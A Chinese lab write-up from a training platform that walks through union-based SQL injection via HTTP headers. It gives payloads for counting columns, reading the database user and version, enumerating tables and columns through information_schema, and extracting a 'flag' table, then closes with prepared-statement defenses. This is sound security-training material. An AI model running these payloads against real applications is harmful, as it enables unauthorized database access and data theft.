墨者:SQL注入漏洞测试(HTTP头注入)

墨者学院:SQL注入漏洞测试(HTTP头注入)🚀

1. 什么是HTTP头注入?🔍

HTTP头注入是指攻击者通过篡改HTTP请求头部的字段(如User-Agent、Referer、Cookie、Host等),将恶意SQL代码插入到后端数据库查询中。当应用程序未对头部输入进行严格过滤时,可能导致数据库信息泄露或服务器被控制。

典型场景

  • 登录页面的X-Forwarded-For记录IP
  • 用户跟踪的User-Agent记录
  • 身份验证的Cookie字段
  • 服务器路由使用的Host字段

2. 使用工具:Burpsuite🔧

Burpsuite是渗透测试中常用的拦截/修改HTTP请求的工具,测试将使用Repeater模块,手动修改并重放请求


3. 注入流程详解🎯

步骤1:确定字段数量⚡

sql 复制代码
order by 5

参数解释

  • order by N:通过递增N判断查询结果的列数,直到返回错误(本例中order by 5报错,说明列数≤4)。

步骤2:确认回显位⚡

sql 复制代码
union select 1,2,3,4

参数解释

  • union select:联合查询,数字1-4代表列位置,页面显示的数字即为可回显数据的列(如显示2,3,4则对应第2、3、4列可注入)。

步骤3:获取基础信息⚡

sql 复制代码
union select 1,user(),version(),database()

参数解释

  • user():当前数据库用户
  • version():数据库版本
  • database():当前数据库名称

步骤4:枚举表名⚡

sql 复制代码
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'

参数解释

  • information_schema.tables:系统表存储所有表信息
  • group_concat():合并查询结果(避免多行显示)
  • table_schema:指定目标数据库名

步骤5:枚举列名⚡

sql 复制代码
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

参数解释

  • information_schema.columns:系统表存储所有列信息
  • table_name:指定目标表名

步骤6:提取数据⚡

sql 复制代码
union select 1,2,3,group_concat(flag) from flag

参数解释

  • flag表中提取flag列的全部数据

4. 总结🏁

  1. 漏洞成因:未过滤HTTP头部输入,直接拼接SQL查询。
  2. 防御建议
    • 使用预编译语句(Prepared Statements)
    • 对头部参数进行严格白名单验证
  3. 测试关键
    • 通过order by确定列数
    • 利用information_schema逐步获取数据库结构

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
qq_5088234017 小时前
金融数据库--下载全市场股票日线行情数据
数据库·金融
DemonAvenger17 小时前
MySQL性能优化案例分析:从问题到解决方案
数据库·mysql·性能优化
koping_wu17 小时前
【Dubbo】Rpc与HTTP的区别、Dubbo调用过程
http·rpc·dubbo
老华带你飞18 小时前
寝室快修|基于SprinBoot+vue的贵工程寝室快修小程序(源码+数据库+文档)
java·数据库·vue.js·spring boot·小程序·毕设·贵工程寝室快修
fendouweiqian18 小时前
idea中使用database TLS异常处理
数据库·https·intellij-idea
杨杨杨大侠18 小时前
手把手教你写 httpclient 框架(八)- 实战案例集锦
java·http·github
玛卡巴卡0120 小时前
HTTPS工作过程
网络协议·http·https
小志开发1 天前
SQL从入门到起飞:完整学习数据库与100+练习题
数据库·sql·学习·mysql·oracle·sqlserver·navcat
轩情吖1 天前
Qt常用控件之QLabel(一)
开发语言·数据库·c++·qt·小程序·qlabel·桌面开发